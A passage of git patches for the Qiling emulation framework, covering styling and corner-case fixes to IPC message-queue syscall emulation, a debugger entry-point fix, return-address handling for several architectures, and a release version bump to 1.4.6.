buffer. If theres no data left in the buffer, get additional user input - + Args: size (int): The amount of bytes to read from the buffer Returns: bytes: The data read from the buffer ''' - - #get the amount of bytes left in the buffer + + # get the amount of bytes left in the buffer bytes_left = self.getbuffer().nbytes - self.tell() - #if theres no bytes left in the buffer, get user input + # if theres no bytes left in the buffer, get user input if bytes_left == 0: - user_data = input().encode()+ b'\x0a' + user_data = input().encode() + b'\x0a' self.write(user_data) self.seek(-len(user_data), io.SEEK_CUR) - return super().read(size) \ No newline at end of file + return super().read(size) diff --git a/qiling/os/windows/windows.py b/qiling/os/windows/windows.py index 921ba8dcc..bbf674f4c 100644 --- a/qiling/os/windows/windows.py +++ b/qiling/os/windows/windows.py @@ -123,14 +123,13 @@ def stderr(self, stream: TextIO) -> None: handle.obj = stream def load(self): - self.setupGDT() + self.__setup_gdt() self.__setup_components() # hook win api self.ql.hook_code(self.hook_winapi) - - def setupGDT(self): + def __setup_gdt(self): gdtm = GDTManager(self.ql) segm_class: Type[SegmentManager] = { diff --git a/qiling/utils.py b/qiling/utils.py index c907204e7..925d3b791 100644 --- a/qiling/utils.py +++ b/qiling/utils.py @@ -293,7 +293,7 @@ def ql_guess_emu_env(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Opt def select_loader(ostype: QL_OS, libcache: bool) -> QlClassInit['QlLoader']: - if ostype == QL_OS.WINDOWS: + if ostype is QL_OS.WINDOWS: kwargs = {'libcache': libcache} else: From 28ae2c84e57cb43ecc6386ced6f11924181288a6 Mon Sep 17 00:00:00 2001 From: Eli Date: Mon, 3 Jul 2023 15:23:47 +0300 Subject: [PATCH 098/103] Update msg.py Mostly styling fixes. Fix handling of a few corner cases. --- qiling/os/posix/syscall/msg.py | 52 +++++++++++++++++++++++----------- 1 file changed, 35 insertions(+), 17 deletions(-) diff --git a/qiling/os/posix/syscall/msg.py b/qiling/os/posix/syscall/msg.py index 330e6f178..f553dc1de 100644 --- a/qiling/os/posix/syscall/msg.py +++ b/qiling/os/posix/syscall/msg.py @@ -5,17 +5,26 @@ def __find_msg(msq: QlMsqId, msgtyp: int, msgflg: int) -> Optional[QlMsgBuf]: - if msgtyp == 0: # SEARCH_ANY: get first - return msq.queue[0] - cnt = 0 - for msg in msq.queue: - # SEARCH_NUMBER, SEARCH_LESSEQUAL, SEARCH_EQUAL, SEARCH_NOTEQUAL - if (msgflg & MSG_COPY and cnt == msgtyp) or \ - (msgtyp < 0 and msg.mtype <= -msgtyp) or \ - (msgtyp > 0 and msg.mtype == msgtyp) or \ - (msgflg & MSG_EXCEPT and msg.mtype != msgtyp): - return msg - cnt += 1 + # peek at a specific queue item + if msgflg & MSG_COPY: + if msgtyp >= len(msq.queue): + return -1 # ENOMSG + + return msg.queue[msgtyp] + + if msgtyp == 0: + predicate = lambda msg: True + + elif msgtype > 0: + if msgflg & MSG_EXCEPT: + predicate = lambda msg: msg.mtype != msgtyp + else: + predicate = lambda msg: msg.mtype == msgtyp + + elif msgtype < 0: + predicate = lambda msg: msg.mtype <= -msgtyp + + return next((msg for msg in msq.queue if predicate(msg)), None) def __perms(ql: Qiling, msq: QlMsqId, flag: int) -> int: @@ -25,13 +34,17 @@ def __perms(ql: Qiling, msq: QlMsqId, flag: int) -> int: # FIXME: should probably also use cuid and (c)gid, but we don't support it yet # TODO: other ipc mechanisms like shm can also reuse this """ + request_mode = (flag >> 6) | (flag >> 3) | flag granted_mode = msq.mode + if ql.os.uid == msq.uid: granted_mode >>= 6 + # is there some bit set in requested_mode but not in granted_mode? if request_mode & ~granted_mode & 0o007: return -1 # EACCES + return 0 def ql_syscall_msgget(ql: Qiling, key: int, msgflg: int): @@ -74,8 +87,8 @@ def __create_msq(key: int, flags: int) -> int: if msgflg & (IPC_CREAT | IPC_EXCL): return -1 # EEXIST - if err := __perms(ql, msq, msgflg): - return err # EACCES + if __perms(ql, msq, msgflg): + return -1 # EACCES return msqid @@ -86,8 +99,8 @@ def ql_syscall_msgsnd(ql: Qiling, msqid: int, msgp: int, msgsz: int, msgflg: int return -1 # EINVAL # Check if the user has write permissions for the message queue - if err := __perms(ql, msq, 0o222): # S_IWUGO - return err # EACCES + if __perms(ql, msq, 0o222): # S_IWUGO + return -1 # EACCES msg_type = ql.mem.read_ptr(msgp) msg_text = ql.mem.read(msgp + ql.arch.pointersize, msgsz) @@ -95,6 +108,7 @@ def ql_syscall_msgsnd(ql: Qiling, msqid: int, msgp: int, msgsz: int, msgflg: int while True: if len(msq.queue) < msq.queue.maxlen: break + if msgflg & IPC_NOWAIT: return -1 # EAGAIN @@ -114,15 +128,18 @@ def ql_syscall_msgrcv(ql: Qiling, msqid: int, msgp: int, msgsz: int, msgtyp: int return -1 # EINVAL # Check if the user has read permissions for the message queue - if err := __perms(ql, msq, 0o444): # S_IRUGO - return err # EACCES + if __perms(ql, msq, 0o444): # S_IRUGO + return -1 # EACCES while True: msg = __find_msg(msq, msgtyp, msgflg) + if msg is not None: break + if msgflg & IPC_NOWAIT: return -1 # ENOMSG + if not (msgflg & MSG_COPY): msq.queue.remove(msg) @@ -133,6 +150,7 @@ def ql_syscall_msgrcv(ql: Qiling, msqid: int, msgp: int, msgsz: int, msgtyp: int sz = msgsz else: sz = len(msg.mtext) + ql.mem.write_ptr(msgp, msg.mtype) ql.mem.write(msgp + ql.arch.pointersize, msg.mtext[:sz]) From 29f9326a12e7cb7487f1f127fdecb5b4e79e77f6 Mon Sep 17 00:00:00 2001 From: Eli Date: Mon, 3 Jul 2023 15:27:55 +0300 Subject: [PATCH 099/103] Update syscall.py Styling fixes. --- qiling/os/posix/syscall/syscall.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/qiling/os/posix/syscall/syscall.py b/qiling/os/posix/syscall/syscall.py index 60dd9a22f..2a3c10922 100644 --- a/qiling/os/posix/syscall/syscall.py +++ b/qiling/os/posix/syscall/syscall.py @@ -39,10 +39,15 @@ def __call_msgrcv(*args: int) -> int: if version == 0: if args[3] == 0: return -1 # EINVAL + msgp = ql.mem.read_ptr(args[3]) msgtyp = ql.mem.read_ptr(args[3] + ql.arch.pointersize) - return ql_syscall_msgrcv(ql, args[0], msgp, args[1], msgtyp, args[2]) - return ql_syscall_msgrcv(ql, args[0], args[3], args[1], args[4], args[2]) + + else: + msgp = args[3] + msgtyp = args[4] + + return ql_syscall_msgrcv(ql, args[0], msgp, args[1], msgtyp, args[2]) ipc_call = { SHMAT: __call_shmat, From 6011be11b7a1b6442b00b4bdffdb9d7d09ca9621 Mon Sep 17 00:00:00 2001 From: Eli Date: Mon, 3 Jul 2023 15:30:27 +0300 Subject: [PATCH 100/103] Update msg.py Overlooked indent error --- qiling/os/posix/syscall/msg.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/os/posix/syscall/msg.py b/qiling/os/posix/syscall/msg.py index f553dc1de..f944ca62a 100644 --- a/qiling/os/posix/syscall/msg.py +++ b/qiling/os/posix/syscall/msg.py @@ -24,7 +24,7 @@ def __find_msg(msq: QlMsqId, msgtyp: int, msgflg: int) -> Optional[QlMsgBuf]: elif msgtype < 0: predicate = lambda msg: msg.mtype <= -msgtyp - return next((msg for msg in msq.queue if predicate(msg)), None) + return next((msg for msg in msq.queue if predicate(msg)), None) def __perms(ql: Qiling, msq: QlMsqId, flag: int) -> int: From 930da790c2babe5ace2dabeaff6b5d020ab7349e Mon Sep 17 00:00:00 2001 From: ltlly Date: Thu, 6 Jul 2023 16:36:02 +0800 Subject: [PATCH 101/103] Fix bug: qdb executes from the entry point of the binary when using ql.run(begin=0x1234) --- qiling/debugger/qdb/qdb.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/qiling/debugger/qdb/qdb.py b/qiling/debugger/qdb/qdb.py index 7606cf3bc..044118ecd 100644 --- a/qiling/debugger/qdb/qdb.py +++ b/qiling/debugger/qdb/qdb.py @@ -81,7 +81,10 @@ def bp_handler(ql, address, size, bp_list): elif init_hook and self.ql.loader.entry_point != int(init_hook, 0): self.do_breakpoint(init_hook) - self.cur_addr = self.ql.loader.entry_point + if self.ql.entry_point: + self.cur_addr = self.ql.entry_point + else: + self.cur_addr = self.ql.loader.entry_point self.init_state = self.ql.save() From ca626701b089ea4fdf6d06f4c67cee3579e68b55 Mon Sep 17 00:00:00 2001 From: ucgJhe Date: Sat, 29 Jul 2023 02:33:03 +0800 Subject: [PATCH 102/103] update return register accordingly --- qiling/cc/arm.py | 3 +-- qiling/cc/mips.py | 3 +++ qiling/cc/ppc.py | 3 +++ qiling/cc/riscv.py | 5 ++++- 4 files changed, 11 insertions(+), 3 deletions(-) diff --git a/qiling/cc/arm.py b/qiling/cc/arm.py index 3cedf8666..7974503e0 100644 --- a/qiling/cc/arm.py +++ b/qiling/cc/arm.py @@ -20,8 +20,7 @@ def getNumSlots(argbits: int) -> int: return 1 def setReturnAddress(self, addr: int) -> None: - # TODO: do we need to update LR? - self.arch.stack_push(addr) + self.arch.regs.lr = addr def unwind(self, nslots: int) -> int: # TODO: cleanup? diff --git a/qiling/cc/mips.py b/qiling/cc/mips.py index 658b58587..edc5c7302 100644 --- a/qiling/cc/mips.py +++ b/qiling/cc/mips.py @@ -12,6 +12,9 @@ class mipso32(QlCommonBaseCC): _shadow = 4 _retaddr_on_stack = False + def setReturnAddress(self, addr: int): + self.arch.regs.ra = addr + @staticmethod def getNumSlots(argbits: int): return 1 diff --git a/qiling/cc/ppc.py b/qiling/cc/ppc.py index 9f19e8818..af3ceef5d 100644 --- a/qiling/cc/ppc.py +++ b/qiling/cc/ppc.py @@ -21,3 +21,6 @@ class ppc(QlCommonBaseCC): @staticmethod def getNumSlots(argbits: int): return 1 + + def setReturnAddress(self, addr: int): + self.arch.regs.lr = addr diff --git a/qiling/cc/riscv.py b/qiling/cc/riscv.py index 60bcf21af..a864bfff3 100644 --- a/qiling/cc/riscv.py +++ b/qiling/cc/riscv.py @@ -19,4 +19,7 @@ class riscv(QlCommonBaseCC): @staticmethod def getNumSlots(argbits: int): - return 1 \ No newline at end of file + return 1 + + def setReturnAddress(self, addr: int): + self.arch.regs.ra = addr From 729360e836d76bddfb82d78e50df5284c1c03d55 Mon Sep 17 00:00:00 2001 From: xwings Date: Fri, 4 Aug 2023 10:37:13 +0800 Subject: [PATCH 103/103] prepare for 1.4.6 --- setup.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/setup.py b/setup.py index 855807588..3bf95eef5 100644 --- a/setup.py +++ b/setup.py @@ -5,8 +5,8 @@ from setuptools import setup, find_packages # NOTE: use "-dev" for dev branch -VERSION = "1.4.6" + "-dev" -#VERSION = "1.4.5" +#VERSION = "1.4.7" + "-dev" +VERSION = "1.4.6" requirements = [ "capstone>=4.0.1", @@ -72,8 +72,8 @@ # How mature is this project? Common values are # 3 - Alpha # 5 - Production/Stable - #'Development Status :: 5 - Production/Stable', - 'Development Status :: 3 - Alpha', + 'Development Status :: 5 - Production/Stable', + #'Development Status :: 3 - Alpha', # Indicate who your project is intended for 'Intended Audience :: Developers',